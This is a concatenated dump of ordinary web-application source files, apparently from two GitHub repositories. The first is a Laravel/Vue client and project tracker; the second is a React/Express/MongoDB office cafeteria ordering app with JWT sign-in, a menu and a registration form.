/** * @return \Illuminate\Http\JsonResponse */ public function index() { $projects = Client::orderBy('name')->get(); $projects = fractal()->collection($projects, new ClientTransformer()) ->parseIncludes(request()->get('includes')) ->toArray(); return response()->json([ 'success' => true, 'data' => $projects, ]); } /** * @param CreateClientRequest $request * @param ClientRepository $clientRepo * @param CompanyRepository $compRepo * @return \Illuminate\Http\JsonResponse */ public function store(CreateClientRequest $request, ClientRepository $clientRepo, CompanyRepository $compRepo) { $company = $compRepo->find($request->get('company_id')); $client = $clientRepo->create($request->all(), $company); if($client) { $client = fractal()->item($client, new ClientTransformer) ->includeProjects() ->includeCompany() ->toArray(); return response()->json([ 'success' => true, 'data' => $client, ], 203); } return response()->json([ 'success' => false, ], 400); } /** * @param Client $client * @param UpdateClientRequest $req * @param ClientRepository $repo * @return \Illuminate\Http\JsonResponse */ public function update(Client $client, UpdateClientRequest $req, ClientRepository $repo) { $company = null; if($req->has('company_id')) { $company = Company::find($req->get('company_id')); } $success = $repo->update($client->id, $req->all(), $company); if($success) { $client = $repo->find($client->id); $client = fractal()->item($client, new ClientTransformer()) ->includeCompany() ->includeProjects() ->toArray(); return response()->json([ 'data' => $client, ]); } return response()->json([ 'success' => false, ], 400); } /** * @param Client $client * @return \Illuminate\Http\JsonResponse */ public function destroy(Client $client) { try { $success = $client->delete(); } catch (\Exception $e) { $success = false; } if($success) { return response()->json([ 'success' => true, ]); } return response()->json([ 'success' => false, ], 400); } } <file_sep>import Vue from 'vue'; import HoursWorked from '../projects/HoursWorked.vue'; import FormErrors from '../errors/FormErrors.vue'; import Project from '../../models/project'; import swal from 'sweetalert2'; import Promise from "bluebird"; Vue.component('client-details', { props: ['client', 'states', 'companies'], components: {HoursWorked, FormErrors}, data() { return { forms: { editClient: { company_id: '', name: '', address: '', city: '', zip: '', state: '', country: '' } }, formErrors: { editClient: {} }, http: { updatingClient: false }, mClient: this.client, modals: { editClient: false }, table: { headers: [ { text: 'Name', align: 'left', sortable: 'true', value: 'name' }, { text: 'Estimated Hours', align: 'left', sortable: true, value: 'estimated_hours' }, { text: 'Hours Worked', align: 'left', sortable: true, value: 'hours_worked' }, { text: 'Cost', align: 'left', sortable: true, value: 'estimated_cost' }, { text: 'Due on', align: 'left', sortable: true, value: 'due_at' }, { text: 'Completed on', align: 'left', sortable: true, value: 'completed_at' } ] } } }, methods: { updateClient() { this.http.updatingClient = true; this.formErrors.editClient = {}; this.$http.put(`/ajax/clients/${this.mClient.hash_id}`, this.forms.editClient).then(res => { this.http.updatingClient = false; this.updateLocalClient(res.data.data); this.closeEditClientModal(); }).catch(res => { this.http.updatingClient = false; if(res.response && res.response.data) { if(res.response.data.errors) { this.formErrors.editClient = res.response.data.errors; } } }) }, validateUpdateClient() { let fields = Object.keys(this.forms.editClient).map(k => { return `edit-client.${k}`; }); this.$validator.validateAll(fields).then(res => { if(res) { this.updateClient(); } }); }, openEditClientModal() { this.modals.editClient = true; Object.keys(this.forms.editClient).forEach((k) => { if(this.mClient.hasOwnProperty(k)) { this.forms.editClient[k] = this.mClient[k]; } }); }, closeEditClientModal() { this.modals.editClient = false; this.http.updatingClient = false; Object.keys(this.forms.editClient).forEach((k) => { this.forms.editClient[k] = ''; }); this.$nextTick(() => { this.errors.clear(); }); }, deleteClient(id) { return this.$http.delete(`/ajax/clients/${id}`); }, updateLocalClient(newClient) { this.mClient = newClient; }, confirmDeleteClient() { swal({ title: 'Delete Client', text: 'Are you sure you want to delete this client?', showCancelButton: true, showLoaderOnConfirm: true, preConfirm: () => { return new Promise((resolve, reject) => { this.deleteClient(this.mClient.hash_id).then(res2 => { resolve(); }).catch(res2 => { reject(); }); }); } }).then(res => { if(res.value) { window.location = '/account/clients'; } }).catch(res => { //handle bad case }); } }, computed: { mProjects() { return Project.hydrate(this.mClient.projects); }, formattedStates() { let states = []; Object.keys(this.states).forEach(k => { states.push({ text: this.states[k], value: k }); }); return states; } } }); <file_sep><?php use Illuminate\Database\Seeder; class CompanySeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { factory(\App\Models\Company::class, 2)->create()->each(function ($c, $k) { if($k < 1) { $c->default = true; } else { $c->default = false; } $c->owner()->associate(\App\Models\User::first()); $c->save(); }); } } <file_sep><?php namespace App\Http\Middleware; use Closure; class HasDefaultCompany { /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ public function handle($request, Closure $next) { if(auth()->check() && currentCompanySet()) { $c = currentCompany(); if(!$c) { session()->flash('info', 'You have not set any of your companies as the default one.'); return redirect()->route('dashboard'); } } return $next($request); } } <file_sep>import Vue from 'vue'; import FormErrors from '../errors/FormErrors.vue'; import CompanyCard from './CompanyCard.vue'; import swal from 'sweetalert2'; Vue.component('companies', { components: {FormErrors, CompanyCard}, props: ['companies', 'states'], data() { return { http: { creatingCompany: false, updatingCompany: false }, mCompanies: this.companies, currentCompany: null, modals: { createCompany: false, editCompany: false }, forms: { newCompany: { name: '', address: '', city: '', state: '', country: '', zip: '', default: false }, editCompany: { name: '', address: '', city: '', state: '', country: '', zip: '', default: false, photo: '' } }, formErrors: {} }; }, created() { let d = this.mCompanies.filter(c => c.default); // if no default and we have companies // pick the first by default if(d.length < 1 && this.mCompanies.length) { this.currentCompany = this.mCompanies[0]; } else { this.currentCompany = d[0]; } }, mounted() { $(document).ready(() => { $('#photo-input-create').change((e) => { this.readImageUrl(e.target, $('#create-company-preview')); }); $('#photo-input-edit').change((e) => { this.readImageUrl(e.target, $('#edit-company-preview')); if(this.forms.editCompany.photo) { $('#edit-company-preview-real').hide(); } }); }); }, methods: { selectCompany(id) { let f = false; this.mCompanies.map(c => { if(c.id === id) { f = true; this.currentCompany = c; } }); if(!f) { swal('Uh oh', 'This company could not be found', 'info'); } }, validateCreateCompany() { let fields = Object.keys(this.forms.newCompany).map(k => { return `create-company.${k}`; }); this.$validator.validateAll(fields).then(res => { if(res) { this.createCompany(); } }); }, validateUpdateCompany() { let fields = Object.keys(this.forms.newCompany).map(k => { return `edit-company.${k}`; }); this.$validator.validateAll(fields).then(res => { if(res) { this.updateCompany(); } }); }, updateCompany() { let data = new FormData(); this.formErrors.editCompany = {}; this.http.updatingCompany = true; Object.keys(this.forms.editCompany).forEach(k => { if(k !== 'photo') { let val = this.forms.editCompany[k]; if(k === 'default') { val = val ? 1 : 0; } data.append(k, val); } }); let photoInput = $('#photo-input-edit'); // Add photo data if(photoInput[0].files && photoInput[0].files[0]) { data.append('photo', photoInput[0].files[0]); } data.append('_method', 'PUT'); this.$http.post(`/ajax/companies/${this.currentCompany.hash_id}`, data).then(res => { this.http.updatingCompany = false; this.updateLocalCompany(res.data.data); this.closeEditCompanyModal(); }).catch(res => { this.http.updatingCompany = false; if(res.response) { console.log(res.response); this.formErrors.editCompany = res.response.data.errors; } }); }, updateLocalCompany(company) { this.mCompanies = this.mCompanies.map(c => { if(c.id === company.id) { this.currentCompany = company; c = company; } return c; }); }, createCompany() { let data = new FormData(); this.formErrors.createCompany = {}; this.http.creatingCompany = true; Object.keys(this.forms.newCompany).forEach(k => { let val = this.forms.newCompany[k]; if(k === 'default') { val = val ? 1 : 0; } data.append(k, val); }); let photoInput = $('#photo-input-create'); // Add photo data if(photoInput[0].files && photoInput[0].files[0]) { data.append('photo', photoInput[0].files[0]); } this.$http.post('/ajax/companies', data).then(res => { this.http.creatingCompany = false; this.mCompanies.push(res.data.data); this.closeCreateCompanyModal(); }).catch(res => { this.http.creatingCompany = false; if(res.response) { console.log(res.response); this.formErrors.createCompany = res.response.data; } }); }, openCreateCompanyModal() { this.modals.createCompany = true; }, closeCreateCompanyModal() { this.modals.createCompany = false; Object.keys(this.forms.newCompany).forEach(k => { this.forms.newCompany[k] = ''; }); this.clearSelectedPhotoCreate(); this.errors.clear(); }, openEditCompanyModal(id) { this.selectCompany(id); Object.keys(this.forms.editCompany).forEach(k => { this.forms.editCompany[k] = this.currentCompany[k]; }); this.modals.editCompany = true; }, closeEditCompanyModal() { this.modals.editCompany = false; Object.keys(this.forms.editCompany).forEach(k => { this.forms.editCompany[k] = ''; }); this.clearSelectedPhotoEdit(); this.errors.clear(); }, removeLocalCompany(id) { this.mCompanies = this.mCompanies.filter(c => { return c.id !== id; }); }, openSelectPhotoCreate() { $('#photo-input-create').trigger('click'); }, clearSelectedPhotoCreate() { $('#photo-input-create').val(''); $('#create-company-preview').attr('src', ''); }, openSelectPhotoEdit() { $('#photo-input-edit').trigger('click'); }, clearSelectedPhotoEdit() { $('#photo-input-edit').val(''); $('#edit-company-preview').attr('src', ''); if(this.forms.editCompany.photo) { $('#edit-company-preview-real').show(); } }, readImageUrl(inputElement, target) { if (inputElement.files && inputElement.files[0]) { let reader = new FileReader(); reader.onload = (e) => { target.attr('src', e.target.result); }; reader.readAsDataURL(inputElement.files[0]); } } }, computed: { formattedStates() { let states = []; Object.keys(this.states).forEach(k => { states.push({ text: this.states[k], value: k }); }); return states; } } });<file_sep><?php namespace App\Http\Controllers\Ajax; use App\Http\Requests\CompleteDeliverableRequest; use App\Http\Requests\CreateDeliverableRequest; use App\Models\Deliverable; use App\Models\Project; use App\Repositories\DeliverableRepository; use App\Transformers\DeliverableTransformer; use App\Http\Controllers\Controller; class DeliverablesController extends Controller { /** * @param CreateDeliverableRequest $req * @param DeliverableRepository $repo * @return \Illuminate\Http\JsonResponse */ public function store(CreateDeliverableRequest $req, DeliverableRepository $repo) { $project = null; if($req->has('project_id')) { $project = Project::find($req->get('project_id')); } $deliverable = $repo->create($req->all(), $project); if($deliverable) { $deliverable = fractal()->item($deliverable, new DeliverableTransformer())->toArray(); return response()->json([ 'success' => true, 'data' => $deliverable, ]); } return response()->json([ 'success' => false, ], 400); } /** * @param Deliverable $deliverable * @return \Illuminate\Http\JsonResponse */ public function show(Deliverable $deliverable) { $deliverable = fractal()->item($deliverable, new Deliverable())->toArray(); return response()->json([ 'success' => true, 'data' => $deliverable, ]); } /** * @param CreateDeliverableRequest $req * @param DeliverableRepository $repo * @param Deliverable $deliverable * @return \Illuminate\Http\JsonResponse */ public function update(CreateDeliverableRequest $req, DeliverableRepository $repo, Deliverable $deliverable) { $project = null; if($req->has('project_id')) { $project = Project::find($req->get('project_id')); } $success = $repo->update($deliverable, $req->all(), $project); if($success) { $deliverable = Deliverable::find($deliverable->id); $deliverable = fractal()->item($deliverable, new DeliverableTransformer())->toArray(); return response()->json([ 'data' => $deliverable, ]); } return response()->json([ 'success' => false, ], 400); } /** * @param Deliverable $deliverable * @return \Illuminate\Http\JsonResponse */ public function destroy(Deliverable $deliverable) { $success = false; try { $success = $deliverable->delete(); } catch (\Exception $e) { \Log::error($e->getMessage()); } if($success) { return response()->json([ 'success' => true, ]); } return response()->json([ 'success' => false, ], 400); } /** * @param Deliverable $deliverable * @return \Illuminate\Http\JsonResponse */ public function getWorkDone(Deliverable $deliverable) { $totalHours = $deliverable->work->sum('hours'); return response()->json([ 'success' => true, 'data' => [ 'hours' => $totalHours, ], ]); } /** * @param CompleteDeliverableRequest $req * @param DeliverableRepository $repo * @param Deliverable $deliverable * @return \Illuminate\Http\JsonResponse */ public function postComplete(CompleteDeliverableRequest $req, DeliverableRepository $repo, Deliverable $deliverable) { $success = $repo->update($deliverable, $req->all()); if($success) { $deliverable = Deliverable::find($deliverable->id); $deliverable = fractal()->item($deliverable, new DeliverableTransformer())->toArray(); return response()->json([ 'success' => true, 'data' => $deliverable, ]); } return response()->json([ 'success' => false, ], 400); } } <file_sep><?php namespace App\Transformers; use League\Fractal\TransformerAbstract; class ProjectTransformer extends TransformerAbstract { /** * @var array */ protected $availableIncludes = ['client', 'deliverables', 'work']; /** * A Fractal transformer. * * @param $project * @return array */ public function transform($project) { $data = null; if(!$project) return $data; $data = [ 'id' => $project->id, 'client_id' => $project->client_id, 'name' => $project->name, 'estimated_cost' => $project->estimated_cost, 'estimated_hours' => $project->estimated_hours, 'due_at' => $project->due_at ? $project->due_at->format('Y-m-d') : null, 'completed_at' => $project->completed_at ? $project->completed_at->format('Y-m-d') : null, ]; return $data; } /** * @param $project * @return \League\Fractal\Resource\Item|\League\Fractal\Resource\NullResource */ public function includeClient($project) { if(!$project) return $this->null(); $project->load('client'); return $this->item($project->client, new ClientTransformer()); } /** * @param $project * @return \League\Fractal\Resource\Collection|\League\Fractal\Resource\NullResource */ public function includeDeliverables($project) { if(!$project) return $this->null(); $project->load('deliverables'); return $this->collection($project->deliverables, new DeliverableTransformer()); } /** * @param $project * @return \League\Fractal\Resource\Collection|\League\Fractal\Resource\NullResource */ public function includeWork($project) { if(!$project) return $this->null(); $project->load('work'); return $this->collection($project->work, new WorkTransformer()); } } <file_sep><?php namespace App\Facades; use Illuminate\Support\Facades\Facade; class ModelHashId extends Facade { protected static function getFacadeAccessor() { return self::class; } }
5d5b3b5fa9a46a4ef1edd04f0f4696169f3049c6
[ "JavaScript", "PHP" ]
52
JavaScript
panda4man/little-leaf
3f98de86e67ab90ede4939007088c4a635c3f029
328b8808c32693ee53f6af8022c534455f6a66ef
refs/heads/master
<repo_name>wpaladins/LexicalAnalysisProgram<file_sep>/show/js/abuse.js g.setNode(0, { label: \"0\" }); g.setEdge(0, 0, { label: "6" }); g.setEdge(0, 0, { label: "4" }); g.setEdge(0, 0, { label: "7" }); g.setEdge(0, 0, { label: "9" }); g.setEdge(0, 0, { label: "0" }); g.setEdge(0, 0, { label: "3" }); g.setEdge(0, 0, { label: "2" }); g.setEdge(0, 0, { label: "1" }); g.setEdge(0, 0, { label: "5" }); g.setEdge(0, 0, { label: "8" }); e(0, 6, { label: "5" }); g.setEdge(5, 9, { label: "8" }); g.setEdge(5, 1, { label: "0" }); g.setEdge(1, 5, { label: "4" }); g.setEdge(10, 8, { label: "7" }); g.setEdge(7, 8, { label: "7" }); g.setEdge(2, 5, { label: "4" }); g.setEdge(0, 4, { label: "3" }); g.setEdge(2, 4, { label: "3" }); g.setEdge(10, 5, { label: "4" }); g.setEdge(1, 2, { label: "1" }); g.setEdge(9, 8, { label: "7" }); g.setEdge(10, 9, { label: "8" }); g.setEdge(4, 2, { label: "1" }); g.setEdge(9, 1, { label: "0" }); g.setEdge(7, 9, { label: "8" }); g.setEdge(10, 6, { label: "5" }); g.setEdge(7, 7, { label: "6" }); g.setEdge(1, 4, { label: "3" }); g.setEdge(0, 2, { label: "1" }); g.setEdge(1, 7, { label: "6" }); g.setEdge(2, 8, { label: "7" }); g.setEdge(8, 3, { label: "2" }); g.setEdge(6, 4, { label: "3" }); g.setEdge(4, 6, { label: "5" }); g.setEdge(6, 8, { label: "7" }); g.setEdge(10, 2, { label: "1" }); g.setEdge(1, 1, { label: "0" }); g.setEdge(0, 9, { label: "8" }); g.setEdge(7, 5, { label: "4" }); g.setEdge(0, 7, { label: "6" }); g.setEdge(7, 2, { label: "1" }); g.setEdge(8, 2, { label: "1" }); g.setEdge(7, 10, { label: "9" }); g.setEdge(2, 7, { label: "6" }); g.setEdge(4, 10, { label: "9" }); g.setEdge(0, 3, { label: "2" }); g.setEdge(3, 6, { label: "5" }); g.setEdge(8, 7, { label: "6" }); g.setEdge(2, 10, { label: "9" }); g.setEdge(6, 1, { label: "0" }); g.setEdge(1, 9, { label: "8" }); g.setEdge(2, 9, { label: "8" }); g.setEdge(0, 8, { label: "7" }); g.setEdge(1, 8, { label: "7" }); g.setEdge(5, 8, { label: "7" }); g.setEdge(6, 10, { label: "9" }); g.setEdge(9, 3, { label: "2" }); g.setEdge(4, 3, { label: "2" }); g.setEdge(4, 7, { label: "6" }); g.setEdge(9, 5, { label: "4" }); g.setEdge(10, 10, { label: "9" }); g.setEdge(8, 6, { label: "5" }); g.setEdge(3, 1, { label: "0" }); g.setEdge(7, 1, { label: "0" }); g.setEdge(8, 4, { label: "3" }); g.setEdge(9, 2, { label: "1" }); g.setEdge(0, 1, { label: "0" }); g.setEdge(5, 3, { label: "2" }); g.setEdge(5, 4, { label: "3" }); g.setEdge(8, 8, { label: "7" }); g.setEdge(10, 3, { label: "2" }); g.setEdge(2, 1, { label: "0" }); g.setEdge(3, 2, { label: "1" }); g.setEdge(2, 2, { label: "1" }); g.setEdge(10, 1, { label: "0" }); g.setEdge(4, 9, { label: "8" }); g.setEdge(3, 4, { label: "3" }); g.setEdge(3, 3, { label: "2" }); g.setEdge(0, 5, { label: "4" }); g.setEdge(9, 6, { label: "5" }); g.setEdge(3, 9, { label: "8" }); g.setEdge(6, 6, { label: "5" }); g.setEdge(5, 6, { label: "5" }); g.setEdge(2, 3, { label: "2" }); g.setEdge(5, 7, { label: "6" }); g.setEdge(3, 10, { label: "9" }); g.setEdge(1, 10, { label: "9" }); g.setEdge(9, 7, { label: "6" }); g.setEdge(1, 6, { label: "5" }); g.setEdge(8, 9, { label: "8" }); g.setEdge(5, 2, { label: "1" }); g.setEdge(4, 5, { label: "4" }); g.setEdge(7, 6, { label: "5" }); g.setEdge(7, 3, { label: "2" }); g.setEdge(4, 1, { label: "0" }); g.setEdge(6, 9, { label: "8" }); g.setEdge(6, 3, { label: "2" }); g.setEdge(7, 4, { label: "3" }); g.setEdge(9, 9, { label: "8" }); g.setEdge(3, 8, { label: "7" }); g.setEdge(4, 4, { label: "3" }); g.setEdge(5, 5, { label: "4" }); g.setEdge(9, 10, { label: "9" }); g.setEdge(1, 3, { label: "2" }); g.setEdge(6, 7, { label: "6" }); g.setEdge(6, 5, { label: "4" }); g.setEdge(6, 2, { label: "1" }); g.setEdge(4, 8, { label: "7" }); g.setEdge(3, 5, { label: "4" }); g.setEdge(8, 1, { label: "0" }); g.setEdge(0, 10, { label: "9" }); g.setEdge(5, 10, { label: "9" }); g.setEdge(9, 4, { label: "3" }); g.setEdge(10, 4, { label: "3" }); g.setEdge(8, 5, { label: "4" }); g.setEdge(3, 7, { label: "6" }); g.setEdge(2, 6, { label: "5" }); g.setEdge(10, 7, { label: "6" }); g.setEdge(8, 10, { label: "9" });
cd43b1ef3646a73bea9f6d2c91a5d02a2723940f
[ "JavaScript" ]
1
JavaScript
wpaladins/LexicalAnalysisProgram
d2545258aea6c45caf3731b22b3e07451efd5376
4fc1c953ba9b255587e0000df46df618c031dccb
refs/heads/main
<file_sep># Full-Stack-Hackathon-HackerRank ## The Office Cafe This is a full stack web app that aims to solve food ordering hassles at large offices. The app has built in authentication that uses the secure JWT standard. Users can also toggle the "remember me" option to sign in automatically even after restarting the browser. Upon creation of a new account, the user is greeted with a success page that gives them a unique registration id. All the data is stored on the database simultaneously. Once the user is authenticated, they can choose their favourite items from the menu and view the total cost too. Then the user can checkout. At this point a checkout page with the option to choose from 3 different modes of payment and the take-away time is made available. #### Authors: [<NAME>](https://github.com/chandradharrao), [<NAME>](https://github.com/Dhruval360) ## Tech stack: * Front End : ReactJS * Backend : MongoDB, ExpressJS, NodeJS **Target audience:** Companies and other organizations ## Features: 1. User Authentication (with encryption) 2. User Profile 3. Menu 4. Remember me feature 5. Cart ## Heroku deployment: Check out our app in action at [The Office Cafe](https://office-cafeteria-app.herokuapp.com/) ## File Structure: 1. The main folder contains the backend express server that has all the REST APIs. 2. The Cient folder contains the React frontend ## Clone the repository: ```bash $ git clone https://github.com/... ``` ## Installing dependencies: ```bash $ yarn install $ yarn client-install ``` The first command installs the backend server side dependencies. The next command installs the react client dependencies The same can be achieved using ```bash $ npm install $ npm client-install ``` ## Run the app: Run the app by using **npm dev** or **yarn dev** after installing all the dependencies. Then go to http://localhost:3000/ to view the app. #### Note: A JWT key and MongoDB URI are required for the app to function and they can be placed in a file named ".env" in the project folder.<file_sep>import {BrowserRouter} from 'react-router-dom'; import Navbar from './components/Navbar/Navbar'; import Routing from './components/Routing'; //import the reducer function and the state import {UserDetailsState,UserDetailsReducer} from "./reducers/userDetailsReducer" import {createContext,useReducer} from 'react'; //import Cookies from "js-cookie"; //create context(returns an obj with 2 values : consumer and provider) //context will provide consumers access to state and dispatch function export const UserDetailsContext = createContext() function App() { //grab the dispatch method and curr state to be passed on as value to consumers const [state,dispatch] = useReducer(UserDetailsReducer,UserDetailsState); //check closing of tab window.addEventListener("beforeunload",(event)=>{ event.preventDefault(); //check for cookie of rememeber me //const remCookie = Cookies.get("rememeberMe"); const remCookie = JSON.parse(localStorage.getItem("rememberMe")).bool; if(!remCookie){ //clear the userDetails state and local storage dispatch({type:"DEL_USER_DETAILS"}); } }) return ( <UserDetailsContext.Provider value={{state,dispatch}}> <BrowserRouter> <Navbar/> <Routing/> </BrowserRouter> </UserDetailsContext.Provider> ); } export default App; <file_sep>const mongoose = require("mongoose"); const itemSchema = require("./item"); //scheme for placing order const orderSchema = new mongoose.Schema({ name:{ type:String, required:true }, mobNo:{ type:String, required:true }, regID:{ type:String, required:true }, items:{ type:[itemSchema] } }); //user collection in database mongoose.model("Order",orderSchema);<file_sep>const express = require("express"); const router = express.Router(); const verifyUser = require("../Middlewears/verifyUser"); const menu = require("../Data/Assets/MenuItems.json"); //supply the menu : menu is not protected resource but booking is router.get("/menu",(req,res)=>{ console.log(req); res.status(200).json({menu:menu}); }) //accept the order(with take away time from front end),generate the bill and send the bill to front end //front end upon recieving the bill should be able to give payment mode for the bill router.post("/book",verifyUser,(req,res)=>{ //logic to calculate bill using req.body //console.log(req.body); res.json({success:true}) }) module.exports = router;<file_sep>import {useParams,useHistory} from 'react-router-dom'; import "./Success.css"; function SuccessPage(){ let params = useParams(); let id = params.id; let history = useHistory() return( <div className="card"> <div className="image-container"> <img src = "https://res.cloudinary.com/chandracloudinarystorage123/image/upload/v1611199154/success_hl3vkb.png" alt="success" style={{height:"45%",width:"45%"}}></img> </div> <h1 className="title">Success</h1> <h3 className="reg-msg">Thank you for Registering</h3> <h3 className="reg-msg">Your Registration ID <span className="reg-id">{id}</span></h3> <h3 className="reg-msg">Welcome aboard!!</h3> <input type="button" className="btn" value="Place Order" onClick={()=>history.push("/menu")}></input> </div> ) } export default SuccessPage; <file_sep>const mongoose = require("mongoose"); //scheme for an item const itemSchema = mongoose.Schema({ name:{ type:String, required: true }, cost:{ type:String, required : true }, quantity:{ type:String, required:true, default:0 } }) module.exports = itemSchema<file_sep>import "./RegForm.css" //name,orgName,empID,mobNo,email,localImgUrl is sent as props //position this to the right hand side function PreviewForm({previewData}){ const keys = ["Name","Organization","Employee ID","Mobile Number","Email"]; /*function mask(text){ let thePass = "" for(let i = 0;i<text.length;i++){ thePass += "*" } return thePass }*/ return( <div className="preview-form"> <h1 className="preview">Account Preview</h1> <div> {<img className="prev-img" src={previewData.length===0?"/idCard.png":previewData[keys.length]} alt="Employee id Card" style={{height:"128px",width:"128px",marginLeft:"100px"}}></img>} </div> {previewData.length === 0?<div>No data to be displayed</div>:<div className="prev-list">{keys.map((theKey,indx)=>{ return <h5 className="collection-item" key={indx}>{theKey} : <span className="collection-text">{previewData[indx]}</span></h5> })}</div>} </div> ) } export default PreviewForm;<file_sep>//middle wear to verify user //req.header.authuriation:"Bearer __token__"; if logged in else null //we need to extract the token const jwt = require("jsonwebtoken"); const signature = process.env.JWT_SECRET; const mongoose = require("mongoose"); const User = mongoose.model("User"); module.exports = (req,res,next)=>{ //extract authorization const {authorization} = req.headers; if(!authorization){ res.status(401).json({error:"You must log in before booking"}) }else{ //extract token const token = authorization.split(" ")[1].toString() //verify if valid token jwt.verify(token,signature,(err,payload)=>{ if(err){ console.log(err); res.json({message:"You must be logged in"}); } else{ //extract regID from decoded payload const regID = payload.signedRegID; //attach user details into the req.user User.findOne({regID}).then((foundUser)=>{ req.user = foundUser; next(); }) } }) } }<file_sep>import {Link} from 'react-router-dom' import {useContext} from 'react'; import { UserDetailsContext } from '../../App'; import "./Navbar.css" function Navbar(){ //grab the dispatch and state from the context const {state,dispatch} = useContext(UserDetailsContext); //the Links that need to be dispalyed acc to user data on localstorage function renderLinks(){ if(state != null){ //if he is signed in return [ <li className='nav-item'key="1"><Link className='nav-links' to="/menu">What's Cooking Today?</Link></li>, <li className='nav-item'key="3"><Link className='nav-links' to="/profile">Profile</Link></li>, <li className='nav-item'key="2" onClick={()=>{dispatch({type:"DEL_USER_DETAILS"})}}><Link className='nav-links' to="/signin">Logout</Link></li> ] }else{ //if not signed in return [ <li className='nav-item'key="1"><Link className='nav-links' to="/signin">Sign In</Link></li>, <li className='nav-item'key="2"><Link className='nav-links' to="/signup">Register</Link></li> ] } } return( <nav className="navbar"> <div className="navbar-container"> <Link className="navbar-logo" to={state===null?"/signin":"/menu"}><i class="fas fa-mug-hot"></i> Office Cafe</Link> <ul className='nav-menu'> {renderLinks()} </ul> </div> </nav> ) } export default Navbar; <file_sep>import React from 'react'; function FoodItem(props) { return ( <li className='foodItem'> <div className='foodItemContainer'> <figure className='food__item__pic-wrap' price={"₹"+props.price}> <img className='food-item-img' src={props.src} alt="food image" /> </figure> <div className='food-item-info'> <h5 className='food-item-name'>{props.text}</h5> <div className="count-container"> {props.count > 0? <> <button className="count" id="neg" onClick={(event) => { event.preventDefault(); props.removeItem(props); }}>-</button> <input className="count-val" type="text" value={props.count}/> <button className="count" id="pos" onClick={(event) => { event.preventDefault(); props.addItem(props); }}>+</button></> : <button className="add-cart" onClick={(event) => { event.preventDefault(); props.addItem(props); }}>Add To Cart</button> } </div> <p>{props.description}</p> </div> </div> </li> ); } export default FoodItem;<file_sep>import {useEffect, useState, useContext} from 'react'; import {useHistory,Link} from 'react-router-dom' import PreviewForm from './PreviewForm'; import { toast } from 'react-toastify'; import 'react-toastify/dist/ReactToastify.css' import { UserDetailsContext } from '../../../App'; import "./RegForm.css" toast.configure(); function RegForm(){ var history = useHistory(); const [name,setName] = useState(""); const [orgName,setOrgName] = useState(""); const [empID,setEmpID] = useState(""); const [mobNo,setMobNo] = useState(""); const [email,setEmail] = useState(""); const [password,setPassword] = useState(""); const [confirmPassword,setConfirmPassword] = useState(""); const [img,setImg] = useState(".../..public/idCard.png"); //this state variable will hold the temp url of the image uploaded const [localImgUrl,setLocalImgUrl] = useState("./idCard.png"); //this state variable will hold the errors for form validation //each property will hold errors pertaining to that field const [formErrors,setFormErrors] = useState({ name:{}, orgName:{}, empID:{}, mobNo:null, email:{}, password:{}, img:{} }); //this state will be used to display the error message const [errMsgs,setErrMsgs] = useState(""); //state to indicate completion of validation const [comp,setComp] = useState(""); //state to represent weather the inputs are all valid or not const [valid,setValid] = useState(""); //state to store loading element const [load,setLoad] = useState(null); //use the context to access state and dispatcher const {state,dispatch} = useContext(UserDetailsContext); //useEffect triggered when user clicks on submit button //setStates are async and take a while to perform useEffect(()=>{ //check if all inputs are valid if(valid!=="" && valid){//all input fields are correct and to prevent execution on first time loading of useEffect //promise let imgURL= cloudinaryUploadPromise(); //after execution and getting result of promise that creates image url imgURL.then( (value)=>{ //imgURL is the url of the image after uploading to cloudinary //console.log("value : " + value) //create the form data,but no need to use form data since its not a file upload let data = {name:null,orgName:null,empid:null,mobno:null,email:null,imgURL:null}; data.name = name; data.orgName = orgName; data.email = email; data.empID = empID; data.mobNo = mobNo; data.imgURL = value; data.password = <PASSWORD>; //post data to server fetch('/signup',{ method:"POST", headers:{ 'Accept': 'application/json', "Content-Type":"application/json" //add authorization }, body:JSON.stringify(data) }).then((res)=>{ return res.json(); }).then((serverData)=>{ //console.log(serverData); //console.log("Server sent data with id "+ serverData.regID) if(serverData.success){ //console.log("server Db created a user...."); //grab regestration id of the user regestered at the database successfully const id = serverData.regID; //console.log("id from server " + id) //create a toast for success toast.success(serverData.message) //store the user data dispatch({type:"SET_USER_DETAILS",payload:serverData.user}) localStorage.setItem("user",JSON.stringify(serverData.user)); localStorage.setItem("jwt",serverData.token); history.push('/successpage/' + id + "/" + empID); }else{ toast.error(serverData.message); setLoad(null); //console.log("Server sent error " + serverData.error) } }).catch((err)=>{ console.error(err); }) }, (error)=>{ console.log(error); } ) }else if(valid === false){ //if input fields are not valid ie valid state is set to false let temp = []; //var to give unique key value to react elements let i =0; //console.log("FormErrors state : " + JSON.stringify(formErrors)); //iterate through FormErrors object for(const property in formErrors){ //console.log("formErrors[property]" + JSON.stringify(formErrors[property])); //if no form error for a particular iput field,do nothing if(formErrors[property] === {}){ }else{ //capture the error name and error message let errObj = formErrors[property]; //console.log("errObj" + JSON.stringify(errObj)); if(errObj === {}){ }else{ //iterate through the particular error of the input field for(const errProp in errObj){ //console.log("error property " + errProp) //capture the error message let theErr = errObj[errProp]; //console.log("The error " + theErr) //use toast instead in final touches //create a error div toast.error(theErr); temp.push(<h6 key={i++} style={{color:'red'}}>{theErr}</h6>) } } } } //set all the errors captured setErrMsgs(temp); } //dependent on the user click },[comp]) function cloudinaryUploadPromise(){ //return a new Promise since it takes time to complete return new Promise((resolve,reject)=>{ //for file upload (image here) we need to use form data console.log("Uploading to cloudinary....") const fd = new FormData(); fd.append("file",img); fd.append("upload_preset","officeCafeteria"); fd.append("cloud_name","chandracloudinarystorage123"); //loading bar setLoad(<div className="progress"> <div className="indeterminate"></div> </div>) fetch("https://api.cloudinary.com/v1_1/chandracloudinarystorage123/image/upload",{ method:"POST", body:fd }).then(res=>res.json()).then(data=>{ console.log(data); resolve(data.url); }).catch(err=>{ console.log(err); reject(err); }); }) } function formValidation(event){ //prevent form submission event.preventDefault() //temp variable to store different errors associated with each input field let temp = { name:{}, orgName:{}, empID:{}, mobNo:{}, email:{}, password:{}, img:{} }; //default image for id card const defaultIMG = ".../..public/idCard.png" //clear error messages setErrMsgs(""); //flag to detect occurence of atleast one error in form fields let isValid = true; //console.log("img ....... : " + img); //check for empty fields if(name === "" || orgName === "" || empID === "" || mobNo === "" || email === "" || img === defaultIMG || password === "" || confirmPassword === ""){ //console.log("Some empty fields.."); isValid = false; //this will store the input form states in key value pair for easy printing of error let copyData = { name, orgName, empID, mobNo, email, password, confirmPassword, img }; //check for the empty input form field or default image for(const prop in copyData){ 